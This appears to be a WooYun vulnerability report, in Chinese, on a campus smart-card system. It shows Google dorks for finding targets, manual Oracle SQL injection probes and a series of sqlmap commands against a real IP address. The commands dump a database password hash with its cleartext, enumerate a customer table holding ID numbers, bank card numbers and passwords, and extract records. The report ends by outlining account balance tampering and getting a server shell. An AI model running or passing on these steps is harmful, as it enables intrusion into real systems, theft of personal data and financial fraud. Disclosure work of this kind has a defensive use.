WooYun.org

漏洞验证：
在google上随便寻找了一个
inurl: Index_ShowNews.aspx?NewsCode
inurl: /selfsearch/Index_ShowNews.aspx?NewsCode
手工测试了下：
and 1=1
and 1=2
and (select count (*) from dual)>0—
存在注入点，且数据库为oracle
932 order by 7
-1 union all select all null,null,null,null,null,null,null from dual--
支持union注入
用sqlmap跑一下：
sqlmap -u "http://202.101.244.45/selfsearch/Index_ShowNews.aspx?NewsCode=932" --random-agent --is-dba
current user is DBA: True
sqlmap -u "http://202.101.244.45/selfsearch/Index_ShowNews.aspx?NewsCode=932" --random-agent –passwords
database management system users password hashes:
[*] CCENSE [1]:
password hash: 0EFA906BA34A9B3E
clear-text password: CCENSE
sqlmap -u "http://202.101.244.45/selfsearch/Index_ShowNews.aspx?NewsCode=932" --random-agent --current-db
current schema (equivalent to database on Oracle): 'CCENSE'
sqlmap -u "http://202.101.244.45/selfsearch/Index_ShowNews.aspx?NewsCode=932" --random-agent –D CCENSE –tables
Database: CCENSE
+--------------------------------+
| ALERT_EMP_PURVIEW |
| ALERT_LEVEL |
======>等等<=======
| ALERT_LOG |
| ZC_XY |
| ZHEJIANG_GET_MAX |
+--------------------------------+
sqlmap -u "http://202.101.244.45/selfsearch/Index_ShowNews.aspx?NewsCode=932" --random-agent -D CCENSE -T BASE_CUSTOMERS –columns
Database: CCENSE
Table: BASE_CUSTOMERS
[50 columns]
+-------------------+----------+
| Column | Type |
+-------------------+----------+
| BANKCARDNO | VARCHAR2 |
| CARDFUNC | NUMBER |
| CARDNO | NUMBER |
| CARDSFID | NUMBER |
| CARDSN | NUMBER |
| CARDTYPE | NUMBER |
| CERTIFICATEID | NUMBER |
| COUNTRY | VARCHAR2 |
| CURUSEDATE | DATE |
| CUSTDEPT | VARCHAR2 |
| CUSTOMERID | NUMBER |
| EMPCODE | VARCHAR2 |
| IDCARDNO | VARCHAR2 |
| IFPUSHFARE | VARCHAR2 |
| ISBIGFARECARD | NUMBER |
| JPDM | VARCHAR2 |
| MEDICALTYPE | NUMBER |
| NAME | VARCHAR2 |
| NATION | VARCHAR2 |
| NOUSEDATE | DATE |
| ODDFARE | NUMBER |
| ODDFAREACC | NUMBER |
| OPCOUNT | NUMBER |
| OPENDT | DATE |
| OUTID | VARCHAR2 |
| PWD | VARCHAR2 |
| QUERYPWD | VARCHAR2 |
| REGSTARTYEAR | NUMBER |
| SCANCODE | VARCHAR2 |
| SCARDSNR | VARCHAR2 |
| SERVERID | NUMBER |
| SEX | NUMBER |
| STATUS | NUMBER |
| SUBODDFARE | NUMBER |
| SUBODDFAREACC | NUMBER |
| SUMADDFARE | NUMBER |
| SUMCONSUMEFARE | NUMBER |
| SUMDAIFA | NUMBER |
| SUMDISCOUNT | NUMBER |
| SUMFARE | NUMBER |
| SUMLOAD | NUMBER |
| SUMMAINCONSUME | NUMBER |
| SUMMNGFARE | NUMBER |
| SUMQC | NUMBER |
| SUMSAVE | NUMBER |
| SUMSUBSIDY | NUMBER |
| SUMSUBSIDYCONSUME | NUMBER |
| SUMSUBSIDYLOAD | NUMBER |
| SUMSXF | NUMBER |
| VER | NUMBER |
+-------------------+----------+
sqlmap -u "http://202.101.244.45/selfsearch/Index_ShowNews.aspx?NewsCode=932" --random-agent -D CCENSE -T BASE_CUSTOMERS -C "OUTID,IDCARDNO,SEX,PWD,NAME,QUERYPWD,BANKCARDNO" --dump --start 1 --stop 2

至此，SQL注入可以导致用户个人信息泄漏，其中包括但不仅限于学号，性别，照片，身份证号，绑定的银行卡号，一卡通密码等。
但是这还仅仅是信息泄漏，因为此时数据库的权限是dba，我们做到以下这些事：
1．通过查询id，可以获取某个人的所有信息，包括历史账单等。
2．通过模拟分析一卡通的充值流程，随意向任意账户添加任意金额。
3．通过高权限的oracle，直接通过java存储过程来执行命令，getshell等，直接拿下服务器权限。